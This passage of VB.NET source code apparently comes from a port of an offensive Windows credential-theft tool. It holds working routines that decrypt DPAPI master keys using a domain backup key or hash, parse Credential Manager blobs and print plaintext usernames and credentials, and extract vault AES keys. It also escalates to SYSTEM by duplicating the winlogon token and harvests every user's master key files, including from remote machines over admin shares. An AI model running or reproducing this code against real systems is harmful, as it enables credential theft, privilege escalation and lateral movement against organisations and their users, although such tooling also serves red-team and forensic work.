        Dim credFlags As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)
        offset += 4
        Dim credSize As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)
        offset += 4
        Dim credUnk0 As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)
        offset += 4
        Dim type As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)
        offset += 4
        Dim flags As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)
        offset += 4
        Dim lastWritten As Long = CLng(BitConverter.ToInt64(decBlobBytes, offset))
        offset += 8
        Dim lastWrittenTime As System.DateTime = System.DateTime.FromFileTime(lastWritten)
        Console.WriteLine("    LastWritten      : {0}", lastWrittenTime)
        Dim unkFlagsOrSize As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)
        offset += 4
        Dim persist As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)
        offset += 4
        Dim attributeCount As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)
        offset += 4
        Dim unk0 As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)
        offset += 4
        Dim unk1 As UInt32 = BitConverter.ToUInt32(decBlobBytes, offset)
        offset += 4
        Dim targetNameLen As Int32 = BitConverter.ToInt32(decBlobBytes, offset)
        offset += 4
        Dim targetName As String = Encoding.Unicode.GetString(decBlobBytes, offset, targetNameLen)
        offset += targetNameLen
        Console.WriteLine("    TargetName       : {0}", targetName)
        Dim targetAliasLen As Int32 = BitConverter.ToInt32(decBlobBytes, offset)
        offset += 4
        Dim targetAlias As String = Encoding.Unicode.GetString(decBlobBytes, offset, targetAliasLen)
        offset += targetAliasLen
        Console.WriteLine("    TargetAlias      : {0}", targetAlias)
        Dim commentLen As Int32 = BitConverter.ToInt32(decBlobBytes, offset)
        offset += 4
        Dim comment As String = Encoding.Unicode.GetString(decBlobBytes, offset, commentLen)
        offset += commentLen
        Console.WriteLine("    Comment          : {0}", comment)
        Dim unkDataLen As Int32 = BitConverter.ToInt32(decBlobBytes, offset)
        offset += 4
        Dim unkData As String = Encoding.Unicode.GetString(decBlobBytes, offset, unkDataLen)
        offset += unkDataLen
        Dim userNameLen As Int32 = BitConverter.ToInt32(decBlobBytes, offset)
        offset += 4
        Dim userName As String = Encoding.Unicode.GetString(decBlobBytes, offset, userNameLen)
        offset += userNameLen
        Console.WriteLine("    UserName         : {0}", userName)
        Dim credBlobLen As Int32 = BitConverter.ToInt32(decBlobBytes, offset)
        offset += 4
        Dim credBlobBytes As Byte() = New Byte(credBlobLen - 1) {}
        Array.Copy(decBlobBytes, offset, credBlobBytes, 0, credBlobLen)
        offset += credBlobLen

        If Helpers.IsUnicode(credBlobBytes) Then
            Dim credBlob As String = Encoding.Unicode.GetString(credBlobBytes)
            Console.WriteLine("    Credential       : {0}", credBlob)
        Else
            Dim credBlobByteString As String = BitConverter.ToString(credBlobBytes).Replace("-", " ")
            Console.WriteLine("    Credential       : {0}", credBlobByteString)
        End If
    End Sub

    Public Shared Function ParseDecPolicyBlob(ByVal decBlobBytes As Byte()) As ArrayList
        Dim keys As ArrayList = New ArrayList()
        Dim s As String = Encoding.ASCII.GetString(decBlobBytes, 12, 4)

        If s.Equals("KDBM") Then
            Dim offset As Integer = 20
            Dim aes128len As Integer = BitConverter.ToInt32(decBlobBytes, offset)
            offset += 4

            If aes128len <> 16 Then
                Console.WriteLine("    [X] Error parsing decrypted Policy.vpol (aes128len != 16)")
                Return keys
            End If

            Dim aes128Key As Byte() = New Byte(aes128len - 1) {}
            Array.Copy(decBlobBytes, offset, aes128Key, 0, aes128len)
            offset += aes128len
            Dim aes128KeyStr As String = BitConverter.ToString(aes128Key).Replace("-", "")
            offset += 20
            Dim aes256len As Integer = BitConverter.ToInt32(decBlobBytes, offset)
            offset += 4

            If aes256len <> 32 Then
                Console.WriteLine("    [X] Error parsing decrypted Policy.vpol (aes256len != 32)")
                Return keys
            End If

            Dim aes256Key As Byte() = New Byte(aes256len - 1) {}
            Array.Copy(decBlobBytes, offset, aes256Key, 0, aes256len)
            Dim aes256KeyStr As String = BitConverter.ToString(aes256Key).Replace("-", "")
            keys.Add(aes128Key)
            keys.Add(aes256Key)
        Else
            Dim offset As Integer = 16
            Dim s2 As String = Encoding.ASCII.GetString(decBlobBytes, offset, 4)
            offset += 4

            If s2.Equals("KSSM") Then
                offset += 16
                Dim aes128len As Integer = BitConverter.ToInt32(decBlobBytes, offset)
                offset += 4

                If aes128len <> 16 Then
                    Console.WriteLine("    [X] Error parsing decrypted Policy.vpol (aes128len != 16)")
                    Return keys
                End If

                Dim aes128Key As Byte() = New Byte(aes128len - 1) {}
                Array.Copy(decBlobBytes, offset, aes128Key, 0, aes128len)
                offset += aes128len
                Dim aes128KeyStr As String = BitConverter.ToString(aes128Key).Replace("-", "")
                Dim pattern As Byte() = New Byte(11) {&H4B, &H53, &H53, &H4D, &H2, &H0, &H1, &H0, &H1, &H0, &H0, &H0}
                Dim index As Integer = Helpers.ArrayIndexOf(decBlobBytes, pattern, offset)

                If index <> -1 Then
                    offset = index
                    offset += 20
                    Dim aes256len As Integer = BitConverter.ToInt32(decBlobBytes, offset)
                    offset += 4

                    If aes256len <> 32 Then
                        Console.WriteLine("    [X] Error parsing decrypted Policy.vpol (aes256len != 32)")
                        Return keys
                    End If

                    Dim aes256Key As Byte() = New Byte(aes256len - 1) {}
                    Array.Copy(decBlobBytes, offset, aes256Key, 0, aes256len)
                    Dim aes256KeyStr As String = BitConverter.ToString(aes256Key).Replace("-", "")
                    keys.Add(aes128Key)
                    keys.Add(aes256Key)
                Else
                    Console.WriteLine("[X] Error in decrypting Policy.vpol: second MSSK header not found!")
                End If
            End If
        End If

        Return keys
    End Function

    Public Shared Function GetDomainKey(ByVal masterKeyBytes As Byte()) As Byte()
        Dim offset As Integer = 96
        Dim masterKeyLen As Long = BitConverter.ToInt64(masterKeyBytes, offset)
        offset += 8
        Dim backupKeyLen As Long = BitConverter.ToInt64(masterKeyBytes, offset)
        offset += 8
        Dim credHistLen As Long = BitConverter.ToInt64(masterKeyBytes, offset)
        offset += 8
        Dim domainKeyLen As Long = BitConverter.ToInt64(masterKeyBytes, offset)
        offset += 8
        offset += CInt((masterKeyLen + backupKeyLen + credHistLen))
        Dim domainKeyBytes As Byte() = New Byte(domainKeyLen - 1) {}
        Array.Copy(masterKeyBytes, offset, domainKeyBytes, 0, domainKeyLen)
        Return domainKeyBytes
    End Function

    Public Shared Function GetMasterKey(ByVal masterKeyBytes As Byte()) As Byte()
        Dim offset As Integer = 96
        Dim masterKeyLen As Long = BitConverter.ToInt64(masterKeyBytes, offset)
        offset += 4 * 8
        Dim masterKeySubBytes As Byte() = New Byte(masterKeyLen - 1) {}
        Array.Copy(masterKeyBytes, offset, masterKeySubBytes, 0, masterKeyLen)
        Return masterKeySubBytes
    End Function

    Public Shared Function DecryptMasterKey(ByVal masterKeyBytes As Byte(), ByVal backupKeyBytes As Byte()) As Dictionary(Of String, String)
        Dim mapping As Dictionary(Of String, String) = New Dictionary(Of String, String)()

        Try
            Dim guidMasterKey As String = String.Format("{{{0}}}", Encoding.Unicode.GetString(masterKeyBytes, 12, 72))
            Dim offset As Integer = 4
            Dim domainKeyBytes As Byte() = GetDomainKey(masterKeyBytes)
            Dim secretLen As Integer = BitConverter.ToInt32(domainKeyBytes, offset)
            offset += 4
            Dim accesscheckLen As Integer = BitConverter.ToInt32(domainKeyBytes, offset)
            offset += 4
            offset += 16
            Dim secretBytes As Byte() = New Byte(secretLen - 1) {}
            Array.Copy(domainKeyBytes, offset, secretBytes, 0, secretLen)
            offset += secretLen
            Dim accesscheckBytes As Byte() = New Byte(accesscheckLen - 1) {}
            Array.Copy(domainKeyBytes, offset, accesscheckBytes, 0, accesscheckLen)
            Dim rsaPriv As Byte() = New Byte(backupKeyBytes.Length - 24 - 1) {}
            Array.Copy(backupKeyBytes, 24, rsaPriv, 0, rsaPriv.Length)
            Dim a As String = BitConverter.ToString(rsaPriv).Replace("-", "")
            Dim sec As String = BitConverter.ToString(secretBytes).Replace("-", "")
            Dim domainKeyBytesDec As Byte() = Crypto.RSADecrypt(rsaPriv, secretBytes)
            Dim masteyKeyLen As Integer = BitConverter.ToInt32(domainKeyBytesDec, 0)
            Dim suppKeyLen As Integer = BitConverter.ToInt32(domainKeyBytesDec, 4)
            Dim masterKey As Byte() = New Byte(masteyKeyLen - 1) {}
            Buffer.BlockCopy(domainKeyBytesDec, 8, masterKey, 0, masteyKeyLen)
            Dim sha1 As SHA1Managed = New SHA1Managed()
            Dim masterKeySha1 As Byte() = sha1.ComputeHash(masterKey)
            Dim masterKeySha1Hex As String = BitConverter.ToString(masterKeySha1).Replace("-", "")
            mapping.Add(guidMasterKey, masterKeySha1Hex)
        Catch ex As Exception
            Console.WriteLine(ex.Message)
        End Try

        Return mapping
    End Function

    Public Shared Function DecryptMasterKeyWithSha(ByVal masterKeyBytes As Byte(), ByVal shaBytes As Byte()) As Dictionary(Of String, String)
        Dim mapping As Dictionary(Of String, String) = New Dictionary(Of String, String)()

        Try
            Dim guidMasterKey As String = String.Format("{{{0}}}", Encoding.Unicode.GetString(masterKeyBytes, 12, 72))
            Dim mkBytes As Byte() = GetMasterKey(masterKeyBytes)
            Dim offset As Integer = 4
            Dim salt As Byte() = New Byte(15) {}
            Array.Copy(mkBytes, 4, salt, 0, 16)
            offset += 16
            Dim rounds As Integer = BitConverter.ToInt32(mkBytes, offset)
            offset += 4
            Dim algHash As Integer = BitConverter.ToInt32(mkBytes, offset)
            offset += 4
            Dim algCrypt As Integer = BitConverter.ToInt32(mkBytes, offset)
            offset += 4
            Dim encData As Byte() = New Byte(mkBytes.Length - offset - 1) {}
            Array.Copy(mkBytes, offset, encData, 0, encData.Length)
            Dim final As Byte() = New Byte(47) {}

            If algHash = 32782 Then

                Using hmac = New HMACSHA512()
                    Dim df = New Pbkdf2(hmac, shaBytes, salt, rounds)
                    final = df.GetBytes(48)
                End Using
            Else
                Console.WriteLine("[X] Note: alg hash  '{0} / 0x{1}' not currently supported!", algHash, algHash.ToString("X8"))
                Return mapping
            End If

            If (algCrypt = 26128) AndAlso (algHash = 32782) Then
                Dim HMACLen As Integer = (New HMACSHA512()).HashSize / 8
                Dim aesCryptoProvider As AesManaged = New AesManaged()
                Dim ivBytes As Byte() = New Byte(15) {}
                Array.Copy(final, 32, ivBytes, 0, 16)
                Dim key As Byte() = New Byte(31) {}
                Array.Copy(final, 0, key, 0, 32)
                aesCryptoProvider.Key = key
                aesCryptoProvider.IV = ivBytes
                aesCryptoProvider.Mode = CipherMode.CBC
                aesCryptoProvider.Padding = PaddingMode.Zeros
                Dim plaintextBytes As Byte() = aesCryptoProvider.CreateDecryptor().TransformFinalBlock(encData, 0, encData.Length)
                Dim outLen As Integer = plaintextBytes.Length
                Dim outputLen As Integer = outLen - 16 - HMACLen
                Dim masterKeyFull As Byte() = New Byte(HMACLen - 1) {}
                Array.Copy(plaintextBytes, outLen - outputLen, masterKeyFull, 0, masterKeyFull.Length)

                Using sha1 As SHA1Managed = New SHA1Managed()
                    Dim masterKeySha1 As Byte() = sha1.ComputeHash(masterKeyFull)
                    Dim masterKeySha1Hex As String = BitConverter.ToString(masterKeySha1).Replace("-", "")

                    If algHash = 32782 Then
                        Dim plaintextCryptBuffer As Byte() = New Byte(15) {}
                        Array.Copy(plaintextBytes, plaintextCryptBuffer, 16)
                        Dim hmac1 As HMACSHA512 = New HMACSHA512(shaBytes)
                        Dim round1Hmac As Byte() = hmac1.ComputeHash(plaintextCryptBuffer)
                        Dim round2buffer As Byte() = New Byte(outputLen - 1) {}
                        Array.Copy(plaintextBytes, outLen - outputLen, round2buffer, 0, outputLen)
                        Dim hmac2 As HMACSHA512 = New HMACSHA512(round1Hmac)
                        Dim round2Hmac As Byte() = hmac2.ComputeHash(round2buffer)
                        Dim comparison As Byte() = New Byte(63) {}
                        Array.Copy(plaintextBytes, 16, comparison, 0, comparison.Length)
                        Dim s1 As String = BitConverter.ToString(comparison).Replace("-", "")
                        Dim s2 As String = BitConverter.ToString(round2Hmac).Replace("-", "")

                        If s1.Equals(s2) Then
                            mapping.Add(guidMasterKey, masterKeySha1Hex)
                        Else
                            Console.WriteLine("[X] {0}:{1} - HMAC integrity check failed!", guidMasterKey, masterKeySha1Hex)
                            Return mapping
                        End If
                    Else
                        Console.WriteLine("[X] Note: alg hash  '{0} / 0x{1}' not currently supported!", algHash, algHash.ToString("X8"))
                        Return mapping
                    End If
                End Using
            Else
                Console.WriteLine("[X] Note: alg crypt '{0} / 0x{1}' not currently supported!", algCrypt, algCrypt.ToString("X8"))
                Return mapping
            End If

        Catch
        End Try

        Return mapping
    End Function
End Class

Public Class Crypto
    Public Shared Function DecryptBlob(ByVal ciphertext As Byte(), ByVal key As Byte(), ByVal Optional algCrypt As Integer = 26115) As Byte()
        If algCrypt = 26115 Then
            Dim desCryptoProvider As TripleDESCryptoServiceProvider = New TripleDESCryptoServiceProvider
            Dim ivBytes = New Byte(7) {}
            desCryptoProvider.Key = key
            desCryptoProvider.IV = ivBytes
            desCryptoProvider.Mode = CipherMode.CBC
            desCryptoProvider.Padding = PaddingMode.Zeros
            Dim plaintextBytes As Byte() = desCryptoProvider.CreateDecryptor.TransformFinalBlock(ciphertext, 0, ciphertext.Length)
            Return plaintextBytes
        ElseIf algCrypt = 26128 Then
            Dim aesCryptoProvider As AesManaged = New AesManaged
            Dim ivBytes = New Byte(15) {}
            aesCryptoProvider.Key = key
            aesCryptoProvider.IV = ivBytes
            aesCryptoProvider.Mode = CipherMode.CBC
            aesCryptoProvider.Padding = PaddingMode.Zeros
            Dim plaintextBytes As Byte() = aesCryptoProvider.CreateDecryptor.TransformFinalBlock(ciphertext, 0, ciphertext.Length)
            Return plaintextBytes
        Else
            Return New Byte(-1) {}
        End If
    End Function

    Public Shared Function DeriveKey(ByVal keyBytes As Byte(), ByVal saltBytes As Byte(), ByVal Optional algHash As Integer = 32772) As Byte()
        If algHash = 32782 Then
            Dim hmac As HMACSHA512 = New HMACSHA512(keyBytes)
            Dim sessionKeyBytes As Byte() = hmac.ComputeHash(saltBytes)
            Return sessionKeyBytes
        ElseIf algHash = 32772 Then
            Dim hmac As HMACSHA1 = New HMACSHA1(keyBytes)
            Dim ipad = New Byte(63) {}
            Dim opad = New Byte(63) {}
            Dim sessionKeyBytes As Byte() = hmac.ComputeHash(saltBytes)

            For i = 0 To 64 - 1
                ipad(i) = Convert.ToByte("6"c)
                opad(i) = Convert.ToByte("\"c)
            Next

            For i = 0 To keyBytes.Length - 1
                ipad(i) = ipad(i) Xor sessionKeyBytes(i)
                opad(i) = opad(i) Xor sessionKeyBytes(i)
            Next

            Using sha1 As SHA1Managed = New SHA1Managed
                Dim ipadSHA1bytes As Byte() = sha1.ComputeHash(ipad)
                Dim opadSHA1bytes As Byte() = sha1.ComputeHash(opad)
                Dim combined As Byte() = Helpers.Combine(ipadSHA1bytes, opadSHA1bytes)
                Return combined
            End Using
        Else
            Return New Byte(-1) {}
        End If
    End Function

    Public Shared Function AESDecrypt(ByVal key As Byte(), ByVal IV As Byte(), ByVal data As Byte()) As Byte()
        Dim aesCryptoProvider As AesManaged = New AesManaged
        aesCryptoProvider.Key = key

        If IV.Length <> 0 Then
            aesCryptoProvider.IV = IV
        End If

        aesCryptoProvider.Mode = CipherMode.CBC
        Dim plaintextBytes As Byte() = aesCryptoProvider.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
        Return plaintextBytes
    End Function

    Public Shared Function LSAAESDecrypt(ByVal key As Byte(), ByVal data As Byte()) As Byte()
        Dim aesCryptoProvider As AesManaged = New AesManaged
        aesCryptoProvider.Key = key
        aesCryptoProvider.IV = New Byte(15) {}
        aesCryptoProvider.Mode = CipherMode.CBC
        aesCryptoProvider.BlockSize = 128
        aesCryptoProvider.Padding = PaddingMode.Zeros
        Dim transform As ICryptoTransform = aesCryptoProvider.CreateDecryptor
        Dim chunks = Decimal.ToInt32(Math.Ceiling(data.Length / CDec(16)))
        Dim plaintext = New Byte(chunks * 16 - 1) {}

        For i = 0 To chunks - 1
            Dim offset = i * 16
            Dim chunk = New Byte(15) {}
            Array.Copy(data, offset, chunk, 0, 16)
            Dim chunkPlaintextBytes As Byte() = transform.TransformFinalBlock(chunk, 0, chunk.Length)
            Array.Copy(chunkPlaintextBytes, 0, plaintext, i * 16, 16)
        Next

        Return plaintext
    End Function

    Public Shared Function RSADecrypt(ByVal privateKey As Byte(), ByVal dataToDecrypt As Byte()) As Byte()
        Dim cspParameters = New System.Security.Cryptography.CspParameters(24)

        Using rsaProvider = New System.Security.Cryptography.RSACryptoServiceProvider(cspParameters)

            Try
                rsaProvider.PersistKeyInCsp = False
                rsaProvider.ImportCspBlob(privateKey)
                Dim dataToDecryptRev = New Byte(255) {}
                Buffer.BlockCopy(dataToDecrypt, 0, dataToDecryptRev, 0, dataToDecrypt.Length)
                Array.Reverse(dataToDecryptRev)
                Dim dec As Byte() = rsaProvider.Decrypt(dataToDecryptRev, False)
                Return dec
            Catch e As Exception
                Console.WriteLine("Error decryption domain key: {0}", e.Message)
            Finally
                rsaProvider.PersistKeyInCsp = False
                rsaProvider.Clear()
            End Try
        End Using

        Return New Byte(-1) {}
    End Function

    Public Shared Function LSASHA256Hash(ByVal key As Byte(), ByVal rawData As Byte()) As Byte()
        Using sha256Hash As SHA256 = SHA256.Create
            Dim buffer = New Byte(key.Length + rawData.Length * 1000 - 1) {}
            Array.Copy(key, 0, buffer, 0, key.Length)

            For i = 0 To 1000 - 1
                Array.Copy(rawData, 0, buffer, key.Length + i * rawData.Length, rawData.Length)
            Next

            Return sha256Hash.ComputeHash(buffer)
        End Using
    End Function
End Class

<System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId:="Pbkdf", Justification:="Spelling is correct.")>
Public Class Pbkdf2
    Public Sub New(ByVal algorithm As HMAC, ByVal password As Byte(), ByVal salt As Byte(), ByVal iterations As Int32)
        If algorithm Is Nothing Then
            Throw New ArgumentNullException("algorithm", "Algorithm cannot be null.")
        End If

        If salt Is Nothing Then
            Throw New ArgumentNullException("salt", "Salt cannot be null.")
        End If

        If password Is Nothing Then
            Throw New ArgumentNullException("password", "Password cannot be null.")
        End If

        Me.Algorithm = algorithm
        Me.Algorithm.Key = password
        Me.Salt = salt
        Me.IterationCount = iterations
        Me.BlockSize = Me.Algorithm.HashSize / 8
        Me.BufferBytes = New Byte(Me.BlockSize - 1) {}
    End Sub

    Public Sub New(ByVal algorithm As HMAC, ByVal password As Byte(), ByVal salt As Byte())
        Me.New(algorithm, password, salt, 1000)
    End Sub

    Public Sub New(ByVal algorithm As HMAC, ByVal password As String, ByVal salt As String, ByVal iterations As Int32)
        Me.New(algorithm, UTF8Encoding.UTF8.GetBytes(password), UTF8Encoding.UTF8.GetBytes(salt), iterations)
    End Sub

    Public Sub New(ByVal algorithm As HMAC, ByVal password As String, ByVal salt As String)
        Me.New(algorithm, password, salt, 1000)
    End Sub

    Private ReadOnly BlockSize As Integer
    Private BlockIndex As UInteger = 1
    Private BufferBytes As Byte()
    Private BufferStartIndex As Integer = 0
    Private BufferEndIndex As Integer = 0
    Public Property Algorithm As HMAC
    <System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Performance", "CA1819:PropertiesShouldNotReturnArrays", Justification:="Byte array is proper return value in this case.")>
    Public Property Salt As Byte()
    Public Property IterationCount As Int32

    Public Function GetBytes(ByVal count As Integer) As Byte()
        Dim result As Byte() = New Byte(count - 1) {}
        Dim resultOffset As Integer = 0
        Dim bufferCount As Integer = Me.BufferEndIndex - Me.BufferStartIndex

        If bufferCount > 0 Then

            If count < bufferCount Then
                Buffer.BlockCopy(Me.BufferBytes, Me.BufferStartIndex, result, 0, count)
                Me.BufferStartIndex += count
                Return result
            End If

            Buffer.BlockCopy(Me.BufferBytes, Me.BufferStartIndex, result, 0, bufferCount)
            Me.BufferStartIndex = CSharpImpl.__Assign(Me.BufferEndIndex, 0)
            resultOffset += bufferCount
        End If

        While resultOffset < count
            Dim needCount As Integer = count - resultOffset
            Me.BufferBytes = Me.Func()

            If needCount > Me.BlockSize Then
                Buffer.BlockCopy(Me.BufferBytes, 0, result, resultOffset, Me.BlockSize)
                resultOffset += Me.BlockSize
            Else
                Buffer.BlockCopy(Me.BufferBytes, 0, result, resultOffset, needCount)
                Me.BufferStartIndex = needCount
                Me.BufferEndIndex = Me.BlockSize
                Return result
            End If
        End While

        Return result
    End Function

    Private Function Func() As Byte()
        Dim hash1Input = New Byte(Me.Salt.Length + 4 - 1) {}
        Buffer.BlockCopy(Me.Salt, 0, hash1Input, 0, Me.Salt.Length)
        Buffer.BlockCopy(GetBytesFromInt(Me.BlockIndex), 0, hash1Input, Me.Salt.Length, 4)
        Dim hash1 = Me.Algorithm.ComputeHash(hash1Input)
        Dim finalHash As Byte() = hash1

        For i As Integer = 2 To Me.IterationCount
            hash1 = Me.Algorithm.ComputeHash(hash1, 0, hash1.Length)

            For j As Integer = 0 To Me.BlockSize - 1
                finalHash(j) = CByte((finalHash(j) Xor hash1(j)))
            Next

            Array.Copy(finalHash, hash1, hash1.Length)
        Next

        If Me.BlockIndex = UInteger.MaxValue Then
            Throw New InvalidOperationException("Derived key too long.")
        End If

        Me.BlockIndex += 1
        Return finalHash
    End Function

    Private Shared Function GetBytesFromInt(ByVal i As UInteger) As Byte()
        Dim bytes = BitConverter.GetBytes(i)

        If BitConverter.IsLittleEndian Then
            Return New Byte() {bytes(3), bytes(2), bytes(1), bytes(0)}
        Else
            Return bytes
        End If
    End Function

    Private Class CSharpImpl
        <Obsolete("Please refactor calling code to use normal Visual Basic assignment")>
        Shared Function __Assign(Of T)(ByRef target As T, value As T) As T
            target = value
            Return value
        End Function
    End Class
End Class

Public Class Helpers
    Public Shared Function TestRemote(ByVal computerName As String) As Boolean
        Try
            Dim remotePath As String = String.Format("\\{0}\C$\Users\", computerName)
            Dim dirs As String() = Directory.GetDirectories(remotePath)
            Return True
        Catch e As Exception
            Console.WriteLine("[!] Error accessing computer '{0}' : {1}", computerName, e.Message)
            Return False
        End Try
    End Function

    Public Shared Function ConvertLocalPathToUNCPath(ByVal computerName As String, ByVal localPath As String) As String
        Try
            Dim parts As String() = localPath.Split(New Char() {System.IO.Path.DirectorySeparatorChar}, StringSplitOptions.RemoveEmptyEntries)
            Dim driveLetter As String = parts(0).Replace(":"c, "$"c)
            Dim newPath As String = String.Format("\\{0}\{1}\{2}", computerName, driveLetter, String.Join("\", (parts.Skip(1).Take(parts.Length - 1)).ToArray()))
            Return newPath
        Catch
            Return ""
        End Try
    End Function

    Public Shared Function Combine(ByVal first As Byte(), ByVal second As Byte()) As Byte()
        Dim ret As Byte() = New Byte(first.Length + second.Length - 1) {}
        Buffer.BlockCopy(first, 0, ret, 0, first.Length)
        Buffer.BlockCopy(second, 0, ret, first.Length, second.Length)
        Return ret
    End Function

    Public Shared Function Combine(ByVal first As String(), ByVal second As String()) As String()
        Dim ret As String() = New String(first.Length + second.Length - 1) {}
        Array.Copy(first, 0, ret, 0, first.Length)
        Array.Copy(second, 0, ret, first.Length, second.Length)
        Return ret
    End Function

    Public Shared Function IsUnicode(ByVal bytes As Byte()) As Boolean
        Dim flags As Interop.IsTextUnicodeFlags = Interop.IsTextUnicodeFlags.IS_TEXT_UNICODE_STATISTICS
        Return Interop.IsTextUnicode(bytes, bytes.Length, flags)
    End Function

    Public Shared Function RemoveWhiteSpaces(ByVal input As String) As String
        Return Regex.Replace(input, "\ +(?=(\n|\r?$))", "")
    End Function

    Public Shared Function GetSystem() As Boolean
        If IsHighIntegrity() Then
            Dim hToken As IntPtr = IntPtr.Zero
            Dim processes As Process() = Process.GetProcessesByName("winlogon")
            Dim handle As IntPtr = processes(0).Handle
            Dim success As Boolean = Interop.OpenProcessToken(handle, &H2, hToken)

            If Not success Then
                Return False
            End If

            Dim hDupToken As IntPtr = IntPtr.Zero
            success = Interop.DuplicateToken(hToken, 2, hDupToken)

            If Not success Then
                Return False
            End If

            success = Interop.ImpersonateLoggedOnUser(hDupToken)

            If Not success Then
                Return False
            End If

            Interop.CloseHandle(hToken)
            Interop.CloseHandle(hDupToken)
            Dim name As String = System.Security.Principal.WindowsIdentity.GetCurrent().Name

            If name <> "NT AUTHORITY\SYSTEM" Then
                Return False
            End If

            Return True
        Else
            Return False
        End If
    End Function

    Public Shared Function GetRegKeyValue(ByVal keyPath As String) As Byte()
        Dim result As Integer = 0
        Dim hKey As IntPtr = IntPtr.Zero
        result = Interop.RegOpenKeyEx(&H80000002UI, keyPath, 0, &H19, hKey)

        If result <> 0 Then
            Dim [error] As Integer = Marshal.GetLastWin32Error()
            Dim errorMessage As String = New Win32Exception(CInt([error])).Message
            Console.WriteLine("Error opening {0} ({1}) : {2}", keyPath, [error], errorMessage)
            Return Nothing
        End If

        Dim cbData As Integer = 0
        result = Interop.RegQueryValueEx(hKey, Nothing, 0, IntPtr.Zero, IntPtr.Zero, cbData)

        If result <> 0 Then
            Dim [error] As Integer = Marshal.GetLastWin32Error()
            Dim errorMessage As String = New Win32Exception(CInt([error])).Message
            Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, [error], errorMessage)
            Return Nothing
        End If

        Dim dataPtr As IntPtr = Marshal.AllocHGlobal(cbData)
        result = Interop.RegQueryValueEx(hKey, Nothing, 0, IntPtr.Zero, dataPtr, cbData)

        If result <> 0 Then
            Dim [error] As Integer = Marshal.GetLastWin32Error()
            Dim errorMessage As String = New Win32Exception(CInt([error])).Message
            Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, [error], errorMessage)
            Return Nothing
        End If

        Dim data As Byte() = New Byte(cbData - 1) {}
        Marshal.Copy(dataPtr, data, 0, cbData)
        Interop.RegCloseKey(hKey)
        Return data
    End Function

    Public Shared Function StringToByteArray(ByVal hex As String) As Byte()
        Return Enumerable.Range(0, hex.Length).Where(Function(x) x Mod 2 = 0).[Select](Function(x) Convert.ToByte(hex.Substring(x, 2), 16)).ToArray()
    End Function

    Public Shared Iterator Function Split(ByVal text As String, ByVal partLength As Integer) As IEnumerable(Of String)
        If text Is Nothing Then
            Console.WriteLine("[!] Split() - singleLineString")
        End If

        If partLength < 1 Then
            Console.WriteLine("[!] Split() - 'columns' must be greater than 0.")
        End If

        Dim partCount = Math.Ceiling(CDbl(text.Length) / partLength)

        If partCount < 2 Then
            Yield text
        End If

        For i As Integer = 0 To partCount - 1
            Dim index = i * partLength
            Dim lengthLeft = Math.Min(partLength, text.Length - index)
            Dim line = text.Substring(index, lengthLeft)
            Yield line
        Next
    End Function

    Public Shared Function IsHighIntegrity() As Boolean
        Dim identity As WindowsIdentity = WindowsIdentity.GetCurrent()
        Dim principal As WindowsPrincipal = New WindowsPrincipal(identity)
        Return principal.IsInRole(WindowsBuiltInRole.Administrator)
    End Function

    Public Shared Function ArrayIndexOf(ByVal arrayToSearchThrough As Byte(), ByVal patternToFind As Byte(), ByVal Optional offset As Integer = 0) As Integer
        If patternToFind.Length > arrayToSearchThrough.Length Then Return -1

        For i As Integer = offset To arrayToSearchThrough.Length - patternToFind.Length - 1
            Dim found As Boolean = True

            For j As Integer = 0 To patternToFind.Length - 1

                If arrayToSearchThrough(i + j) <> patternToFind(j) Then
                    found = False
                    Exit For
                End If
            Next

            If found Then
                Return i
            End If
        Next

        Return -1
    End Function
End Class

Public Class Triage
    Public Shared Function TriageUserMasterKeys(ByVal backupKeyBytes As Byte(), ByVal Optional show As Boolean = False, ByVal Optional computerName As String = "") As Dictionary(Of String, String)
        Dim mappings As Dictionary(Of String, String) = New Dictionary(Of String, String)()

        If Not String.IsNullOrEmpty(computerName) Then
            Dim canAccess As Boolean = Helpers.TestRemote(computerName)

            If Not canAccess Then
                Return New Dictionary(Of String, String)()
            End If
        End If

        If Helpers.IsHighIntegrity() OrElse (Not String.IsNullOrEmpty(computerName) AndAlso Helpers.TestRemote(computerName)) Then
            Dim userFolder As String = ""

            If Not String.IsNullOrEmpty(computerName) Then
                userFolder = String.Format("\\{0}\C$\Users\", computerName)
            Else
                userFolder = String.Format("{0}\Users\", Environment.GetEnvironmentVariable("SystemDrive"))
            End If

            Dim userDirs As String() = Directory.GetDirectories(userFolder)

            For Each dir As String In userDirs
                Dim parts As String() = dir.Split("\"c)
                Dim userName As String = parts(parts.Length - 1)

                If Not (dir.EndsWith("Public") OrElse dir.EndsWith("Default") OrElse dir.EndsWith("Default User") OrElse dir.EndsWith("All Users")) Then
                    Dim userDPAPIBasePath As String = String.Format("{0}\AppData\Roaming\Microsoft\Protect\", dir)

                    If System.IO.Directory.Exists(userDPAPIBasePath) Then
                        Dim directories As String() = Directory.GetDirectories(userDPAPIBasePath)

                        For Each mydirectory As String In directories
                            Dim files As String() = Directory.GetFiles(mydirectory)

                            For Each myfile As String In files

                                If Regex.IsMatch(myfile, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then
                                    Dim fileName As String = System.IO.Path.GetFileName(myfile)

                                    If show Then
                                        Console.WriteLine("[*] Found MasterKey : {0}", myfile)
                                    End If

                                    Dim masteyKeyBytes As Byte() = File.ReadAllBytes(myfile)

                                    Try
                                        Dim mapping As Dictionary(Of String, String) = DPAPI.DecryptMasterKey(masteyKeyBytes, backupKeyBytes)
                                        'mapping.ToList().ForEach(Function(x) mappings.Add(x.Key, x.Value))
                                        For Each MyMap In mapping
                                            mappings.Add(MyMap.Key, MyMap.Value)
                                        Next
                                    Catch e As Exception
                                        Console.WriteLine("[X] Error triaging {0} : {1}", myfile, e.Message)
